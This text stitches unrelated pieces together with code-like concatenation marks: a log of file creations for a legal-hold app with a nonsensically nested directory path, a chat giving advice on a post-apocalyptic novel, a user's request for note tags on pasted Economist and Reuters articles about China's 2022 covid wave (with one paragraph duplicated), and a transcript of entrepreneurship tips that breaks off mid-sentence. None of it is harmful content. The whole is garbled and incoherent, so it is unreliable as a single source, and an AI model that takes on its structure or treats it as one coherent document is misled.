C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/legalHold.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/custodian.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/notification.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/policy.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/auditLog.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/legalHolds.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/custodians.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/notifications.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/policies.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/auditLogs.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/legalHoldsController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/custodiansController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/notificationsController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/policiesController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/auditLogsController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/app.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/.env\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/package.json\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/.gitignore" +'Petar B\nYes, pilgrims from across earth do visit the Tiamat zone for pilgrimage, and there are conflicts and various events surrounding this. The pilgrims are forced to visit North America usually by ship, or come by other means from Latin America to the ex-USA, and then they either walk to the pilgrimage site, or ride on horseback, use carts etc. The entire north-American continent, all the way down to mid Mexico is a no-fly zone, because of the extended effects of the Tiamat field which cause planes to crash.\n\nNate used to be a regular boy and young man, and he has a brother called Ethan. Ethan is also somewhere on earth in a stasis chamber. Not everyone is aware of Ethan\'s existence, or believe that Ethan exists, but some are looking for Ethan as "God\'s own brother", or "The living god\'s brother", or "Wounded god\'s kin", in hope that reuniting Ethan and Nate could unlock the Tiamat field and release Nate. There\'s a group of knights who claim they are the keepers of "Ethan\'s tomb" referring to Ethan\'s stasis chamber. It is unknown if these Knights are really knights, or if there\'s any truth to their claims.\n\nThe main protagonist is Lena, a young african-american woman from New Orleans, who used to have a romantic relationship with Ethan. She was put into stasis by Ethan ( against her will ) before the event that caused the apocalypse and she awakens inside the Tiamat zone a century after she was put in stasis. She travels the zone, and the world with other characters. She reveals her daughter ( with Ethan ) remained outside stasis, so in effect, Lena\'s daughter has probably lived and died decades ago.\nThe journey of Lena and her companions can serve as the backbone of your story, providing a personal and emotional connection for the reader while exploring the complexities of this post-apocalyptic world. Here are some ideas to help you develop Lena\'s character and her journey:\n\nLena\'s awakening: Lena\'s awakening from stasis could be a disorienting and traumatic experience, as she must come to terms with the loss of her old life, the passage of time, and the drastic changes in the world around her. This could be a powerful opening for your novel, setting the tone for the challenges and hardships Lena will face throughout her journey.\n\nThe search for Ethan: Driven by her love for Ethan and her desire to understand the truth about the Tiamat field, Lena could embark on a quest to find him and uncover the mystery surrounding his stasis chamber. This journey could take her and her companions across the Tiamat zone, encountering various factions, cultures, and dangers along the way.\n\nThe legacy of her daughter: The revelation that Lena\'s daughter lived and died decades ago could add a poignant and bittersweet dimension to her journey. Lena might seek to uncover her daughter\'s fate, learning about the life she led and the impact she had on the world. This could lead Lena to discover a network of descendants, who carry on her daughter\'s legacy and provide her with allies and connections throughout her journey.\n\nConflicts and alliances: As Lena travels through the Tiamat zone and beyond, she could find herself drawn into the power struggles and conflicts between different factions, including the various religious groups, the knights claiming to guard Ethan\'s tomb, and the factions seeking to control the Tiamat entity. Lena\'s unique connection to the "Wounded God" and his brother could make her a valuable asset or a target for these groups.\n\nLena\'s personal growth: Throughout her journey, Lena will need to adapt to the new world and confront her own fears, regrets, and limitations. Her experiences and the people she encounters could shape her into a strong and resilient leader, inspiring others with her determination and hope in the face of overwhelming odds.\n\nThe ultimate resolution: Lena\'s quest to find Ethan, understand the Tiamat field, and reconcile her past could lead her to a climactic confrontation with the forces shaping the world. The outcome of this confrontation could determine the fate of humanity, the Tiamat entity, and Nate, offering a powerful and satisfying conclusion to your novel.\n\nBy focusing on Lena\'s journey and her personal connections to the central mysteries of your story, you can create a compelling narrative that draws readers into your post-apocalyptic world and keeps them engaged throughout the story.\n\n\nPetar B\n1. exactly what I planned.\n\n2. Lena\'s love for Ethan had pretty much died during the first novel, because of his transformation from a normal guy to a greedy, materialistic, selfish person. Though Lena still has feelings for Ethan, she discovers that he had essentially abducted her and put her in stasis against her will. Ethan had no knowledge that Lena and he have a daughter ( because Lena hid it from Ethan ), so Lena sees Ethan as the villain responsible for abducting her and separating her from her daughter. Lena spends a lot of time being enraged and hating Ethan, which takes a toll on her... especially as she\'s subconsciously trying to avoid admitting her own blame for not informing Ethan of the existence of his daughter.\n\n3. In the second half of this novel, Lena learns that her daughter\'s descendants might be a class of "Hybrids", a genetically engineered group of humans ( or are they fully human ) who have come to rule most of the planet. These hybrids have created dystopian societies around Eurasia, Africa, Australia and south America, which hold the last remnants of advanced technology. \n\n4. in the first quarter of the novel, Lena is allied with other women ( other Ethan\'s ex romantic partners and women he admired ) who awaken alongside Lena. Some of these women are killed off, others go their own way, but Lena\'s most closely allied to Olivia - Ethan\'s ex-love interest, a psychotic young woman who had traumatized Ethan several times with her careless, evil actions. Olivia\'s nature is thoroughly sociopathic, so Lena is in danger from this person. During the mid third of the novel, Lena meets Mr. Gray, an immortal being ( belonging to a species who is only distantly related to humans, and who probably dominated earth before humans ). Mr. Gray is weakened by the effects of the apocalypse, and he finds an ally in Lena, and helps her on her quest as a mentor ( being that he is thousands of years old, and knows everything about everything, especially how to manipulate and rule over humans ). Mr.Gray is the main villain in the first novel, but in this novel he becomes a protagonist ( though an unrealiable one, with self-serving plans always brewing inside him ). \n\n6. The ultimate resolution, I\'ll form. My idea is that Lena manages to defeat the hybrids ( somewhat ), but doesn\'t destroy them, probably due to learning the Hybrids are descendants of her daughter. While Lena is searching for Ethan and acquiring power through her journey, the Tiamat field spreads slowly, and inside the epicenter of the field, Nate and Tiamat are discussing whether Tiamat should just devour earth and everyone else. \nBased on your ideas, here\'s a suggestion on how to weave these elements together into a cohesive narrative:\n\nLena\'s journey begins with her awakening, and her initial allies are the other women who were Ethan\'s ex-partners or admirers. Their shared history with Ethan could create a tense and uneasy alliance, as they navigate the dangers of the post-apocalyptic world.\n\nAs Lena learns more about her daughter\'s descendants, the Hybrids, she becomes increasingly determined to confront them and understand their true nature. This could serve as a driving force for her journey, as well as a source of internal conflict, as she wrestles with her anger toward Ethan and her own guilt.\n\nThe introduction of Mr. Gray as a mentor and ally to Lena adds depth and complexity to the story. His vast knowledge and experience could provide Lena with valuable guidance, while his ulterior motives and manipulative nature could create tension and mistrust within their alliance. The dynamic between Lena and Mr. Gray could be a key aspect of the novel, as they navigate their shared past and uncertain future.\n\nOlivia, the sociopathic ex-love interest of Ethan, could serve as a wild card in Lena\'s journey. Her unpredictability and dangerous nature could create suspense and tension, as Lena is forced to navigate the delicate balance between keeping Olivia as an ally and protecting herself from Olivia\'s potential betrayal or violence.\n\nAs Lena and her companions travel through the Tiamat zone, they could encounter various factions and cultures shaped by the post-apocalyptic world. These encounters could provide opportunities for world-building, as well as challenges and obstacles for Lena to overcome as she seeks Ethan and the truth about the Hybrids.\n\nThe ultimate resolution of Lena\'s journey could involve a climactic confrontation with the Hybrids, in which she must decide whether to destroy them or try to forge a new future with them as her daughter\'s descendants. This decision could be complicated by her ongoing relationship with Mr. Gray, as well as her unresolved feelings toward Ethan.\n\nThe subplot of Nate and Tiamat discussing the fate of Earth could add a sense of urgency and impending doom to the story, as Lena races against time to find a solution that will save humanity. The resolution of this subplot could be linked to Lena\'s ultimate decision regarding the Hybrids, potentially offering a way to avert disaster and reshape the world.\n\nBy intertwining these elements and character arcs, you can create a rich and engaging story that explores the complexities of your post-apocalyptic world and the personal struggles of Lena as she confronts her past, her future, and the fate of humanity.' +'Assuming that I am keeping the sentences that I find interesting in a note app, please provide me with tags that I could use in my note-taking app and please provide me with a short description of what I am researching. Also, please let me know what topic I should research next. \n \nArticle:\n\n "What China can still do to avoid an enormous covid death toll\n\n It must treat hospitals as a precious resource and start stockpiling drugs\n\n People wearing face masks walk in a subway station, as coronavirus disease (COVID-19) outbreaks continue in Shanghai, China, December 8, 2022.\n\n Testing stations are being removed from city streets. The enforcers of “zero-covid” are nowhere to be found. In China’s battle against covid-19, the state has disappeared from the front lines. For nearly three years President Xi Jinping tried to contain the virus, calling his efforts a “people’s war”. Now he has surrendered and the people must live with the enemy.\n\n Listen to this story. Enjoy more audio and podcasts on iOS or Android.\n\n Mr Xi is not the first leader to conclude that such a fight was unwinnable. But before ditching their zero-covid policies, other countries first took pains to administer vaccines, stockpile antiviral drugs and draw up treatment guidelines. China had ample time to do all of that. Yet more than two years after the first vaccine proved effective, the country remains ill-prepared. That has made opening up much more dangerous than it ought to be.\n\n How dangerous? In this week’s China section we publish our model of how the epidemic might play out. It comes with essential caveats. Modelling an epidemic is difficult. Modelling one in China, where the data are often unreliable, is even harder. We take into account variables such as vaccination rates, the effectiveness of Chinese jabs, the lethality of covid for different age groups and the number of intensive-care beds. In a worst case, if covid spreads freely and many people cannot get care, we estimate that in the coming months 1.5m Chinese people will die from the virus.\n\n Although that is a lower share of the population than in many rich countries, it is still a criticism of the government’s poor preparations. It is also a call to action. A vaccination drive will take months. The government has waited too long to build and staff new icus. But even if the state will not impose lockdowns while it prepares, it can mitigate the number of deaths.\n\n It should start by protecting the health system. A wave of covid is breaking over China. Our model sees this peaking in January. By that time hospitals risk being overwhelmed. Beds and staff are a precious resource to be husbanded. That means keeping people who are not seriously ill away from hospitals. To that end, the state could help drug companies restock pharmacies that run out of such things as lateral-flow tests and paracetamol. Medical staff should be vaccinated first and they must be given the proper gear to minimise the risk of infection.\n\n A second step is to ensure cheap and plentiful supplies of covid drugs. Dexamethasone, a low-priced steroid, has been shown to reduce deaths among the most severely ill patients. Antivirals, such as Paxlovid, help keep those most at risk out of hospital. These drugs have become part of the toolkit doctors around the world are using to fight the virus. They could save many thousands of lives in China. Only the government knows if it has enough of them to go around. If not, it should start stocking up. Foreign governments would surely send supplies if China asked. President Xi Jinping should not let his pride imperil China’s people, as he has done by shunning more efficacious Western vaccines.\n\n China’s vaccines still work. So the third priority is to get them into people’s arms. It may be too late for many in this wave, but there will be others. Less than half of those over 80 years old have had three shots, the number needed for decent protection against severe disease and death. Yet some of the elderly have gone to the clinic for a jab only to be turned away for lack of supplies. Until recently, some vaccine factories were sitting idle. Vast quantities will be needed. Six-monthly booster shots ought to become a normal part of life for older Chinese.\n\n As the state has failed to do its job, people are helping themselves. Masks are ubiquitous in many cities and more people are working from home. Restaurants and cinemas may be open, but in cities such as Beijing they remain largely empty. All this will help slow the growth of this covid wave and ease the pressure on hospitals. But the government must also act. In a country the size of China, even small steps could save many lives." \n From the article above, I find the following sentences most interesting:\n 1. "President Xi Jinping tried to contain the virus, calling his efforts a “people’s war”"\n 2. "A wave of covid is breaking over China. Our model sees this peaking in January."\n 3. "we estimate that in the coming months 1.5m Chinese people will die from the virus"\n 4. "To that end, the state could help drug companies restock pharmacies that run out of such things as lateral-flow tests and paracetamol"\n 5. "A second step is to ensure cheap and plentiful supplies of covid drugs. Dexamethasone, a low-priced steroid, has been shown to reduce deaths among the most severely ill patients."\n 6. "China’s vaccines still work. So the third priority is to get them into people’s arms."\n\n \nArticle:\n\n "How Chinese people are dealing with the spread of covid-19\n\n The government has left the public to fend for itself\n\n A elderly man wearing a face mask and goggle walks on a street in Beijing, Sunday, Dec. 11, 2022. Facing a surge in COVID-19 cases, China is setting up more intensive care facilities and trying to strengthen hospitals as Beijing rolls back anti-virus controls that confined millions of people to their homes, crushed economic growth and set off protests.\n\n Just a few months ago Chinese people had little fear of catching covid-19. The government’s “zero-covid” measures kept them safe for the most part. Mass testing and strict lockdowns contained the virus. If a person did test positive, the government would swoop in. The infected were taken to state-run quarantine centres. If symptomatic, they were treated in a designated hospital. Health workers would douse their house with disinfectant and test their neighbours.\n\n All this changed on December 7th, when the central government largely ditched its zero-covid policy, lifting most restrictions. Six days later it scrapped an app that tracked people’s movements. The highly transmissible Omicron variant had made zero-covid unsustainable.\n\n Now the public is expected to fend for itself. “Be the first person responsible for your own health,” wrote the People’s Daily, a Communist Party mouthpiece. Some residents of Beijing have received letters from the local committees that used to enforce covid controls. Stop reporting fevers and coughs to us, one read, before wishing people good luck. “Thank you for the past three years of support and understanding.”\n\n The official number of new cases is falling, as if the virus were fading away. But official numbers are no longer reliable because the government has scaled back testing. If it has an alternative way of keeping tabs on the epidemic, it is not sharing it.\n\n Still, it is pretty clear that a covid wave is building, as people share stories of infection online. An informal survey has been circulating on social media asking Beijing residents if they have caught the virus. As The Economist went to press, 39% of the 434,000 or so respondents had said yes.\n\n Such surveys are striking, not just for the numbers. A few months ago people who had caught covid were stigmatised. They might, for example, struggle to find jobs after recovering. Now the disease is so common that people are posting their test results on social media, often substituting for the word “positive” a cartoon of a sheep (which is a Chinese homophone for positive). Others are sharing lighthearted advice about the best time to catch covid. An infection now or in early January, for example, might clear up in time for a person to enjoy both Christmas and the lunar new year. “Why aren’t I positive yet?” complained one young woman in a video.\n\n Others, though, are worried. Until recently the government told people that covid was to be feared. Now the official line is that Omicron is no worse than the flu. Infected people who are not showing serious symptoms have been encouraged to stay at home and treat themselves. Not everyone is listening. Beijing’s emergency-call operators have been swamped by over 30,000 calls a day, about six times the average. Queues have appeared outside fever clinics in several cities. Certain medicines are in short supply. On December 13th a health-care website began selling Paxlovid, a highly effective antiviral drug used to treat covid. Its initial stocks sold out in half an hour.\n\n Hospitals are under more stress as doctors and nurses catch the virus. There are reports that some medical workers who have tested positive have been asked to come in anyway, risking more transmission within hospitals. As of December 13th Beijing had 50 severely ill patients, according to the official numbers. So far, the health system does not appear to be overwhelmed. But the peak of this wave is still some way off. It will probably come in late January, at least in Beijing, says Ben Cowling, a professor of epidemiology at the University of Hong Kong.\n\n With the government changing its message, people are looking elsewhere for guidance. Overseas Chinese students who have experience with covid are sharing advice on WeChat, a social-media app. They tell people what symptoms to expect and how long they might last. In general, though, good information on the virus is lacking. There are reports of people going to hospital after taking too much fever medicine. Herbal remedies used to combat covid are in hot demand, though doctors doubt their effectiveness.\n\n Vaccines, not voodoo\n\n At least people now see the need to protect themselves against the virus, which was once viewed as a terrifying but distant threat. More are getting vaccinated. The number of jabs administered each day has increased from fewer than 200,000 to over 1m. But there is a lot of ground to make up, especially when it comes to the most vulnerable. Only around 40% of people over 80 have received the three doses needed to significantly reduce the chances of severe disease or death. Yet some elderly people have had trouble getting a shot because of a lack of supply at clinics.\n\n People are also taking steps that will help mitigate the spread of the disease and perhaps reduce the pressure on hospitals. In Beijing the shopping centres and streets are largely empty, as people stay inside. Call it a self-imposed lockdown. People who do venture out wear n95 masks (which are good at filtering small airborne particles). Demand for home deliveries of meals and groceries has shot up.\n\n But people are still making plans to travel back to their villages and home towns for the lunar new year in late January. Data from Ctrip, a booking platform, show that the volume of searches for flights has increased by 160% since the government loosened restrictions. Searches for train tickets on Baidu, a search engine, increased by nearly 600% during that time. Many rural areas are woefully unprepared to handle a surge in cases.\n\n When the peak of this wave approaches, “it would make a lot of sense to bring back some public-health measures,” says Mr Cowling. But reversing course may be hard for the government to justify without admitting that it had made a mistake."\n\n \nFrom the article above, I find the following sentences most interesting:\n 1. "lifting most restrictions. Six days later it scrapped an app that tracked people’s movements"\n 2. "Now the public is expected to fend for itself. “Be the first person responsible for your own health,” wrote the People’s Daily"\n 3. "But official numbers are no longer reliable because the government has scaled back testing"\n 4. "A few months ago people who had caught covid were stigmatised. They might, for example, struggle to find jobs after recovering."\n 5. "Beijing’s emergency-call operators have been swamped by over 30,000"\n\n \nArticle:\n\n "China pushes vaccines as retreat from \'zero-COVID\' turns messy.\n\n Beijing urges inoculations for elderly\n\n WHO calls for vaccine drive as virus spreads\n\n Economic summit starts amid more dire data\n\n BEIJING/SHANGHAI, Dec 15 (Reuters) - China raced to vaccinate its most vulnerable people on Thursday in anticipation of waves of COVID-19 infections, with some analysts expecting the death toll to soar after it eased strict controls that had kept the pandemic at bay for three years.\n\n The push comes as the World Health Organisation also raised concerns that China\'s 1.4 billion population was not adequately vaccinated and the United States offered help in dealing with a surge in infections.\n\n Beijing last Wednesday began dismantling its tough \'zero-COVID\' controls, dropping testing requirements and easing quarantine rules that had caused anxiety for tens of millions and battered the world\'s second largest economy.\n\n The pivot away from President Xi Jinping\'s signature "zero-COVID" policy followed unprecedented widespread protests against it. But, WHO emergencies director Mike Ryan said infections were exploding in China well before the government\'s decision to phase out its stringent regime.\n\n "There\'s a narrative at the moment that China lifted the restrictions and all of a sudden the disease is out of control," Ryan told a briefing in Geneva.\n\n "The disease was spreading intensively because I believe the control measures in themselves were not stopping the disease."\n\n Chinese foreign ministry spokesperson Wang Wenbin said on Thursday China has "institutional advantages" to fight COVID.\n\n "We will certainly be able to smoothly get through the peak of the epidemic," he told a regular news briefing in response to White House national security spokesperson John Kirby saying that the United States was ready to help if China requested it.\n\n There are increasing signs of chaos during China\'s change of tack - including long queues outside fever clinics, runs on medicines and panic buying across the country.\n\n On Thursday night, China\'s state asset regulator urged state-backed big drugmakers to ensure supplies of COVID-related medicines.\n\n The companies include China Resources, China General Technology and Sinopharm, which own businesses that produce drugs that could ease coronavirus symptoms.\n\n One video posted online on Wednesday showed several people in thick winter clothes hooked up to intravenous drips as they sat on stools on the street outside a clinic in central Hubei province. Reuters verified the location of the video.\n\n The COVID scare in China also led people in Hong Kong, Macau and in some neighbourhoods in Australia to go in search for fever medicines and test kits for family and friends on the mainland.\n\n For all its efforts to quell the virus since it erupted in the central city of Wuhan in late 2019, China may now pay a price for shielding a population that lacks "herd immunity" and has low vaccination rates among the elderly, analysts said.\n\n "Authorities have let cases in Beijing and other cities spread to the point where resuming restrictions, testing and tracing would be largely ineffective in bringing outbreaks under control," analysts at Eurasia Group said in a note on Thursday.\n\n "Upward of 1 million people could die from COVID in the coming months."\n\n Other experts have put the potential toll at more than 2 million. China has reported just 5,235 COVID-related deaths so far, extremely low by global standards.\n\n China\'s stock markets and its currency fell on Thursday on concerns of the virus spread.\n\n China reported 2,000 new symptomatic COVID-19 infections for Dec. 14 compared with 2,291 a day. The official figures, however, have become less reliable as testing has dropped. It also stopped reporting asymptomatic figures on Wednesday.\n\n CONCERN FOR ELDERLY\n\n China, which has said around 90% of its population is vaccinated against COVID, has now decided to roll out the second booster shot for high-risk groups and elderly people over 60 years of age.\n\n National Health Commission spokesperson Mi Feng said on Wednesday it was necessary to accelerate the promotion of vaccinations, according to comments reported by state media.\n\n The latest official data shows China administered 1.43 million COVID shots on Tuesday, well above rates in November of around 100,000-200,000 doses a day. In total, it has administered 3.45 billion shots.\n\n Vaccinations in China have been ramping up in recent days. The latest official data shows it administered 1.43 million shots on Tuesday, well above rates in November of around 100,000 - 200,000 doses a day.\n\n Vaccinations in China have been ramping up in recent days. The latest official data shows it administered 1.43 million shots on Tuesday, well above rates in November of around 100,000 - 200,000 doses a day.\n\n But one Shanghai care home said on Wednesday a number of its residents have not yet been vaccinated and considering their underlying medical condition, it has barred visitors and non-essential deliveries while stockpiling medicines, tests kits and protective gear.\n\n "We are racking our brains on how to ensure the safety of your grandparents," the Yuepu Tianyi Nursing Home wrote in a letter posted on its official WeChat account page.\n\n Beijing has been largely resistant to western vaccines and treatments, having relied on locally-made shots. Pfizer\'s (PFE.N) oral COVID-19 treatment Paxlovid is one of the few foreign ones it has approved.\n\n The treatment, however, has only been available in hospitals for high-risk patients, but signs have appeared in recent days that it may soon be made more widely available.\n\n China Meheco Group Co Ltd\'s stock jumped (600056.SS) after it announced a deal to import the U.S. drugmaker\'s treatment on Wednesday.\n\n ECONOMIC CONFERENCE\n\n As the virus spreads, President Xi, his ruling Politburo and senior government officials began a two-day meeting to plot a recovery for China\'s battered economy, according to sources with knowledge of the matter.\n\n China\'s economy lost more steam in November as factory output growth slowed and retail sales extended declines, both missing forecasts and clocking their worst readings since May, data on Thursday showed.\n\n Economists estimate that China\'s growth has slowed to around 3% this year, marking one of China\'s worst performances in almost half a century."\n\n \nFrom the article above, I find the following sentences most interesting:\n 1. "Upward of 1 million people could die from COVID in the coming months."\n 2. "Other experts have put the potential toll at more than 2 million."\n 3. "China administered 1.43 million COVID shots on Tuesday, well above rates in November of around 100,000-200,000 doses a day. In total, it has administered 3.45 billion shots."' +"let's get\ninto the tips all right so first things\nfirst\nis taking risks and listening to your\ngut\nand by risks i really do mean calculated\nrisks i don't think that it's smart to\njust\nbe impulsive as an entrepreneur\nespecially as you're transitioning into\nentrepreneurship\nit's very important to actually assess\nthe entire scope of the situation\nbefore making a risky decision so if the\nrisk\nmakes sense then jump into it it's still\na risk\num but if it is not very rational\num i really encourage you before you\ntake it\nto look at the entire situation\nand really write down like why this risk\nmakes sense\nand why this risk doesn't make sense and\nthen write down\nall the possible outcomes of taking that\nrisk\nand that's really going to help you make\nmore of a calculated risk\ncreate more of a strategy into the risk\nso that way\nwhen you take it you really take it i\nfind that when people take impulsive\nrisks\nthey still have a lot of fear bottled up\nthey still have a lot of\nanxiety inside and so when they do take\nthe risk\nit doesn't always play out the way that\nyou expected it to because you're\ncarrying\nall of this weight into the risk so when\nyou do take the leap\nuh whether that be into entrepreneurship\nor if you're rebranding or\ndeciding on someone to hire or whatever\nit is like really\nassess the entire situation\nand figure out what's the worst possible\noutcome and the best possible outcome\nand evaluate if you are willing for both\nof those things\nto pan out the second thing is to\nconnect with people\nand prioritize relationship building and\nthis is something that i'm\nreally going to work on this year i find\nthat when you are a solo entrepreneur\nyou can kind of get into the trenches\nand you're\nyou're working on your business and\neverything you're doing\nis for the growth of your business but\nsometimes we can we can underestimate\nthe power\nof you know blocking off uh\nan hour or so every other week to reach\nout to people and to see how we can\nsupport them in their businesses and to\nsee\nhow maybe we can collaborate and that is\nsomething that i have not done enough of\nand that's something that i'm bringing\ninto 2021 as a goal of mine to\nreally work on collaboration the third\nthing is to take time to take care of\nyourself\nit can get really hard as an\nentrepreneur like\njust the journey of entrepreneurship is\nnot easy\nit can be very mentally taxing just\nconstantly trying to figure out\nsolutions and put out fires and\nfigure out what to do next with your\nbusiness how to grow and expand\nyou know how to hire how to delegate and\nyou know it's not that it's like\njust this extremely hard and a negative\nsense but it can be mentally taxing and\nso\ntaking that time to just\nbreathe and give yourself the\nopportunity\nto not be the boss at all times and just\nbe you and whatever it is that\nyou have to do to pour back into\nyourself\nthat is something that needs to be\nregularly done and again\nyou guys i'm preaching to the choir\nbecause these are all\nthings that i am working to do for this\nyear\nlast year was a pretty big year for\naaron on demand\nand i didn't really get a whole lot of\ntime\non top of everything that's going on in\nthe world i didn't really get a lot of\nquality personal time and so this year\ni'm really working on figuring out what\ndoes that even mean to me like what do i\nactually need to stay fueled up\nis that working out or is that spending\ntime with my family\nor is that reading or journaling\nor what does that look like for me and i\nthink\nonce you can kind of come to that and\nhave that sense of\nself in terms of what gets you back\ncalibrated practicing that very\nfrequently and so\nthis year i challenge you to take that\ntime for yourself\num i'm not saying like scrolling on\ninstagram or watching your favorite show\nbut like really looking at who you are\nand what it takes for you to get um\nto get that push to to keep going\nthe fourth thing is prioritizing tasks\ni think prioritization is one of the\nthings that makes people who are\nbosses really good bosses because\nthey can really assess like what is\nimportant\nright now like you may have five things\nto do today\nbut what is the most important thing\nthat you need to get done today\ni that's why i love the top three method\nwhich you guys have seen me\ndo over the past couple of years i just\nlaunched the top three notebook not too\nlong ago\nand i just the idea of prioritizing\nthe three things that you need to get\ndone the most for the day\ntakes the pressure off of having so\nmuch to do in one short day\nand it just takes the pressure off of\nfeeling like you didn't get a lot done\nif you didn't get all 12 things on your\nto-do list done\nso i find that prioritization is more\nimportant than\nhaving a whole bunch of stuff to do and\nfeeling\nlike you know you checked all of these\nthings off but like\ndid you really get the thing that was\nthe top priority that should have been\ndone\ndone and i have been doing this for\nyears and it has\nreally helped my business scale it has\nhelped my channel grow\nand just knowing and practicing\nprioritizing\nhas helped me to really be able to even\ndelegate more and figure out\nwhat can i pass off to people what is\nimportant for me\nto actually be doing and that leads me\nto my next point which is delegating\nso this year y'all we are not doing it\nall\nall right we are just we are not doing\nthat\nand to delegate you do not have to be\nmaking\nfour five six figures a month you just\nneed to first be able to identify\nwhat needs to be delegated okay\num and once you can figure that out\nstart crafting some roles around the\nthings that\nneed to be delegated so if you are\nsomeone who\nis really like you have this business\nand you know you need to be\ncreating more social media content maybe\nyou find\na social media assistant who specializes\nin photography\nand so they can go out and take pictures\nwith you but they can\nalso double and do some of the posting\nfor you\nbut when you know what you need to be\ndelegating then you can start to create\nroles around those tasks essentially\nso i would highly recommend even if you\naren't\nseeing a whole lot of cash flow in your\nbusiness um\nyou can delegate by hiring\na va or an intern or someone who can\ntake some of the load off of you\njust so you can also start figuring out\nthe proper ways to delegate\nhow to train your team how to really\nwork with someone and trust\nsomeone with your work um because there\nis that\nlevel of trust that you have to start\nbuilding which can be tough when you're\nso used to doing everything on your own\nso delegating is one of the things y'all\nwe are not\ndoing it all okay doing it all is not\nsexy anymore\nso we need to start passing some of\nthose things off and trusting\nthe people that we hire to do it there\nare also a lot of resources that you can\nuse to help you in delegating\nlike fiverr like upwork\nthere are tons of different resources\nand\nalso just facebook groups there are i\nhave a facebook group the e-brand club\nthat a lot of my members barter services\ninside of so that's also a way to\nbe able to delegate without paying a\nwhole lot of money\nall right the next thing to do\nto boss up this year is to start\nincorporating more\nvideo content into your business\nnow y'all we are in doggone\n2021 i really need you to start doing\nsome video boo\nthis is the year that you really need to\nhit hard\nwith video i say this every single year\nbecause every year you could have\nstarted\nand if you didn't you need to start now\nvideo is the most powerful way to\nget people engaged with your brand with\nyour message\nand to convert them into paying\ncustomers or clients it is the fastest\nway\nto build no like trust factor and get\nthem into your\nbusinesses ecosystem so start\ncreating video content you can do\nsomething small\nas small as instagram stories or\ninstagram reels\nto quick little tips on facebook or\non instagram feed um anything\nwhere you can really get engaged and\nshare valuable content through video\nwith your audience\nis essential this year for your business\nand for your social media strategy\nnext thing you need to do to boss up is\nimplement focused\nwork you know this is tough but i am\ngetting better at doing more focused\nwork\neven if it's for one hour and a day\nwhere i'm just locked into my work\ni just find that a lot of time we do not\nfocus strong enough we have so many\ndistractions\nfrom our phones to computers to now our\nfamilies being in the house\nwith us all at the same time but if\nthere is a way that you can\nbury yourself whether it's for 30\nminutes\nor three hours where you have no\ndistractions and you can actually get\ninto a\nflow a lot of us never experience what\nit is like to\ngo through real flow like mental flow\nwhere you are locked into a task\nand your brain is just flowing on\nideas and it is flowing with\nlike productivity to get the task done\nand if you never allow yourself to get\ninto\na an isolated or secluded state\nwhere you are able to be focused without\nany distractions it's very hard to get a\nlot done\nin a short amount of time so one way i\ndid a video i popped the thumbnail here\nwhere\ni talked about working four hours a day\nfor\none week i did this trial where i could\nonly work for four hours a day\nand when i limited myself to an amount\nof time that i had of working hours\ni really got into my workflow like a lot\nfaster than i typically 